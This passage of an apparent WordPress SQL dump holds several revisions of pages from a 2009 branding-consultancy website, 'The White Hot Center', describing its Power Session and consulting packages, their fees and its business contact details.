necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nMy speciialized expertise will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n\r\nIt''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 10:59:35', '2009-07-07 17:59:35', '', 200, 'http://www.whitehotcenter.com/200-revision-8/', 0, 'revision', '', 0),
(405, 2, '2009-07-07 11:01:05', '2009-07-07 18:01:05', '<h2><span style="color: #ff6600;">What fires you up? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 11:01:05', '2009-07-07 18:01:05', '', 200, 'http://www.whitehotcenter.com/200-revision-9/', 0, 'revision', '', 0);
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(406, 2, '2009-07-06 13:30:30', '2009-07-06 20:30:30', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-07-06 13:30:30', '2009-07-06 20:30:30', '', 143, 'http://www.whitehotcenter.com/143-revision-19/', 0, 'revision', '', 0),
(407, 2, '2009-07-07 12:03:57', '2009-07-07 19:03:57', '<img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud of is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-07-07 12:03:57', '2009-07-07 19:03:57', '', 143, 'http://www.whitehotcenter.com/143-revision-20/', 0, 'revision', '', 0),
(408, 2, '2009-07-07 09:34:43', '2009-07-07 16:34:43', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-07 09:34:43', '2009-07-07 16:34:43', '', 138, 'http://www.whitehotcenter.com/138-revision-44/', 0, 'revision', '', 0),
(409, 1, '2009-06-08 19:21:10', '2009-06-09 02:21:10', '', 'Hot Info', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2009-06-08 19:21:10', '2009-06-09 02:21:10', '', 145, 'http://www.whitehotcenter.com/145-revision-5/', 0, 'revision', '', 0),
(410, 2, '2009-07-07 12:04:46', '2009-07-07 19:04:46', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /><span style="color: #ff6600;">One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream about in the formless world of your imagination.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-07-07 12:04:46', '2009-07-07 19:04:46', '', 143, 'http://www.whitehotcenter.com/143-revision-21/', 0, 'revision', '', 0),
(411, 2, '2009-07-07 11:57:36', '2009-07-07 18:57:36', '<h2><span style="color: #ff6600;">What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 11:57:36', '2009-07-07 18:57:36', '', 200, 'http://www.whitehotcenter.com/200-revision-10/', 0, 'revision', '', 0),
(412, 2, '2009-07-08 10:05:35', '2009-07-08 17:05:35', '<h2><span style="color: #ff6600;">What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> me to book your White Hot Power Session</strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 10:05:35', '2009-07-08 17:05:35', '', 200, 'http://www.whitehotcenter.com/200-revision-11/', 0, 'revision', '', 0),
(413, 1, '2009-07-07 22:46:08', '2009-07-08 05:46:08', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-07 22:46:08', '2009-07-08 05:46:08', '', 138, 'http://www.whitehotcenter.com/138-revision-45/', 0, 'revision', '', 0),
(414, 2, '2009-07-08 10:31:24', '2009-07-08 17:31:24', '', 'wh.powerart', 0, '', 'inherit', 'open', 'open', '', 'wh-powerart', '', '', '2009-07-08 10:31:24', '2009-07-08 17:31:24', '', 200, 'http://www.whitehotcenter.com/wp-content/uploads/2009/06/wh.powerart.gif', 0, 'attachment', 'image/gif', 0),
